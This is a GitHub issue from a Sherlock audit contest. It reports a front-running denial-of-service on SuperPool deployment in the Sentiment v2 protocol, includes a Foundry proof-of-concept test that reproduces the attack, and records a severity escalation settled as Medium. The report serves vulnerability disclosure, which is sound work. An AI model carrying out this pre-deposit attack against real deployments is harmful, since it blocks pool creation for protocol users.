Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

0xarno - **Attacker Can Cause DoS in SuperPool Deployment** #485

Closed
sherlock-admin3 opened this issue Aug 24, 2024 · 7 comments
Closed

0xarno - **Attacker Can Cause DoS in SuperPool Deployment** #485

sherlock-admin3 opened this issue Aug 24, 2024 · 7 comments
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Escalation Resolved This issue's escalations have been approved/rejected Medium A Medium severity issue. Reward A payout will be made for this issue

Comments

@sherlock-admin3
Copy link

sherlock-admin3 commented Aug 24, 2024

0xarno

High

Attacker Can Cause DoS in SuperPool Deployment

Summary

An attacker can exploit the predictable address of a newly deployed SuperPool contract to deposit assets before the contract is officially deployed. This leads to the initial deposit by the contract owner minting fewer than the required 1000 shares, causing a denial of service (DoS) on the contract deployment process.

Vulnerability Detail

When a new SuperPool is deployed, its address can be predicted using the contract's nonce and the deployer's address. An attacker can take advantage of this by sending assets to the precomputed address before the SuperPool contract is deployed. The factory contract relies on the initial deposit to mint a minimum of 1000 shares, which are then burned. However, if the attacker has already sent assets to the precomputed address, the initial deposit by the contract owner will mint fewer than 1000 shares, causing the deployment process to revert.

Impact

This vulnerability allows an attacker to effectively block the deployment of new SuperPool contracts by causing the SuperPoolFactory_TooFewInitialShares error to be triggered. The deployer would need to deposit 1000 times the amount of assets already present in the contract to meet the minimum share requirement, making it infeasible to deploy the contract.

Code Snippet

SuperPool superPool = new SuperPool(POOL, asset, feeRecipient, fee, superPoolCap, name, symbol);
superPool.transferOwnership(owner);
isDeployerFor[address(superPool)] = true;

// burn initial deposit
IERC20(asset).safeTransferFrom(msg.sender, address(this), initialDepositAmt); // assume approval
IERC20(asset).approve(address(superPool), initialDepositAmt);
uint256 shares = superPool.deposit(initialDepositAmt, address(this));
if (shares < MIN_BURNED_SHARES) revert SuperPoolFactory_TooFewInitialShares(shares);
IERC20(superPool).transfer(DEAD_ADDRESS, shares);

https://github.com/sherlock-audit/2024-08-sentiment-v2/blob/main/protocol-v2/src/SuperPoolFactory.sol#L75

Coded PoC

The following proof of concept (PoC) demonstrates the attack:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "../BaseTest.t.sol";
import {console2} from "forge-std/console2.sol";
import {FixedPriceOracle} from "src/oracle/FixedPriceOracle.sol";

contract SuperPoolUnitTests is BaseTest {
    uint256 initialDepositAmt = 1e5;

    Pool pool;
    Registry registry;
    SuperPool superPool;
    RiskEngine riskEngine;
    SuperPoolFactory superPoolFactory;

    address public feeTo = makeAddr("FeeTo");

    function setUp() public override {
        super.setUp();

        pool = protocol.pool();
        registry = protocol.registry();
        riskEngine = protocol.riskEngine();
        superPoolFactory = protocol.superPoolFactory();

        FixedPriceOracle asset1Oracle = new FixedPriceOracle(1e18);
        vm.prank(protocolOwner);
        riskEngine.setOracle(address(asset1), address(asset1Oracle));
    }

    function testDeployAPoolFromFactory_WITH_BUG() public {
        address feeRecipient = makeAddr("FeeRecipient");

        vm.prank(protocolOwner);
        asset1.mint(address(this), initialDepositAmt);
        asset1.approve(address(superPoolFactory), initialDepositAmt);
        address preDeployedSuperPoolAddress = 0x48B7bEE37E99c87E81DC7896011b83c438Ef0f31;
        asset1.mint(preDeployedSuperPoolAddress, 1e18);
        vm.expectRevert();
        address deployed = superPoolFactory.deploySuperPool(
            poolOwner,
            address(asset1),
            feeRecipient,
            1e17,
            type(uint256).max,
            initialDepositAmt,
            "test",
            "test"
        );
        console2.log("deployed", deployed);
    }
}

Tool used

Manual Review

Recommendation

To mitigate this issue, transfer the asset balance in the constructor of the SuperPool contract.

Duplicate of #97

@github-actions github-actions bot closed this as completed Sep 5, 2024
@github-actions github-actions bot added Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Medium A Medium severity issue. labels Sep 5, 2024
@sherlock-admin4 sherlock-admin4 changed the title Tricky Eggshell Cobra - **Attacker Can Cause DoS in SuperPool Deployment** 0xarno - **Attacker Can Cause DoS in SuperPool Deployment** Sep 15, 2024
@sherlock-admin4 sherlock-admin4 added the Reward A payout will be made for this issue label Sep 15, 2024
@ARNO-0
Copy link

ARNO-0 commented Sep 16, 2024

escalate:
it should be high

@sherlock-admin3
Copy link
Author

escalate:
it should be high

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

@sherlock-admin4 sherlock-admin4 added the Escalated This issue contains a pending escalation label Sep 16, 2024
@cvetanovv
Copy link
Collaborator

I disagree with the escalation.

@ARNO-0 You haven't provided any additional information about why it should be High. For me, this severity is at most Medium.

Planning to reject the escalation and leave the issue as is.

@ARNO-0
Copy link

ARNO-0 commented Sep 19, 2024

@cvetanovv I disagree with the decision to keep this as medium because of the following reasons:

  1. The ease of causing a DoS is negligible, and no special tool is required since anyone can calculate the pre-deployment address and send as little as 0.1 USDT (if the USDT pool is deployed) to cause a DoS. The deployer will need to deposit 1000x more USDT to deploy the pool, so the cost of deployment increases drastically. Thus, the likelihood is high.

  2. The impact is high because a pool with that particular asset won't be deployed by anyone.

  3. Deployment is affected for literally every user.

  4. An attacker can send 0.1 USDT to 10,000 pre-calculated addresses to cause a DoS on the next 10,000 pools with USDT as the asset.

@cvetanovv
Copy link
Collaborator

The imact is the most Medium.
See also this comment: #97 (comment)

@Evert0x
Copy link

Evert0x commented Sep 22, 2024

Result:
Medium
Duplicate of #97

@sherlock-admin2 sherlock-admin2 removed the Escalated This issue contains a pending escalation label Sep 22, 2024
@sherlock-admin3 sherlock-admin3 added the Escalation Resolved This issue's escalations have been approved/rejected label Sep 22, 2024
@sherlock-admin4
Copy link
Contributor

Escalations have been resolved successfully!

Escalation status:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Escalation Resolved This issue's escalations have been approved/rejected Medium A Medium severity issue. Reward A payout will be made for this issue
Projects
None yet
Development

No branches or pull requests

6 participants